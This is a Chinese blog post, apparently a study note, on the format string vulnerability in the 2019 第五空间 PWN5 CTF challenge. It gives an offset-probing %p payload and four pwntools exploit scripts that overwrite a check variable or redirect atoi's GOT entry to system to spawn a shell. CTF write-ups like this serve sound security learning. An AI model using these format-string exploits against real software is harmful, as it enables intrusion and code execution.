• [第五空间2019 决赛]PWN5


    格式化字符串漏洞学习记录

    CTF pwn题之格式化字符串漏洞详解___lifanxin的博客-CSDN博客_pwn 格式化字符串漏洞

    printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad),写成了:printf(pad),此时就存在格式化字符串漏洞。

    利用payload来寻找输入字符串到栈顶指针的偏移

    aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

    栈是一种特殊的线性表,是一种只允许在表的一端进行插入删除操作的线性表。表中允许进行插入、删除操作的一端称为栈顶。表的另一端称为栈底。栈顶的当前位置是动态的,对栈顶当前位置的标记称为栈顶指针。当栈中没有数据元素时,称之为空栈。栈的插入操作通常称为进栈或入栈,栈的删除操作通常称为退栈或出栈。

    1. %s 打印地址内容
    2. %n 写四字节

    fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

    offset:格式化字符串的偏移;

    writes:需要利用%n写入的数据,采用字典形式,就写成{目标地址: 要写入的数据};要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress}

    numbwritten:已经输出的字符个数,这里没有,为0,采用默认值即可;#这里是要考虑printf参数的原因

    write_size:写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
    fmtstr_payload函数返回的就是payload

    exp1:

    1. from pwn import *
    2. p=process('./pwn')
    3. dword_804c044=0x0804C044
    4. payload=fmtstr_payload(10,{dword_804c044:4})
    5. p.sendlineafter("your name:",payload)
    6. p.sendlineafter("your passwd",str(4))
    7. p.interactive()

    exp2:

    1. from pwn import *
    2. p = process("./pwn")
    3. elf=ELF('./pwn')
    4. atoi_got=elf.got['atoi']
    5. system_plt=elf.plt['system']
    6. payload=fmtstr_payload(10,{atoi_got:system_plt})
    7. p.sendline(payload)
    8. p.sendline('/bin/sh')
    9. p.interactive()

    exp3:

    1. from pwn import *
    2. p=process('./pwn')
    3. dword_addr=0x804C044
    4. p.recvuntil('your name:')
    5. payload=p32(dword_addr)+b'%10$n'
    6. p.sendline(payload)
    7. p.recvuntil("your passwd:")
    8. p.sendline(b'4')
    9. p.interactive()

    exp4:

    1. from pwn import *
    2. p=process('./pwn')
    3. dword_addr=0x804C044
    4. payload=p32(dword_addr)+b'%10$s'
    5. p.sendline(payload)
    6. p.recvuntil("Hello,")
    7. p.recv(4)
    8. number=u32(p.recv(4))
    9. p.sendline(str(number))
    10. p.interactive()

  • 相关阅读:
    计算机毕业设计(60)php小程序毕设作品之共享充电桩小程序系统
    企业表格软件-FineReport 数组函数概述
    ElementUI中使用ECharts
    文化融合与社交网络:Facebook的角色
    github上fork2.4k,star8.7k的这款状态机,原来长这样!
    高并发下的服务容错
    java八大包装类
    分库分表简单介绍
    变量的一般命名原则
    力扣876:链表的中间结点
  • 原文地址:https://blog.csdn.net/m0_63253040/article/details/126839618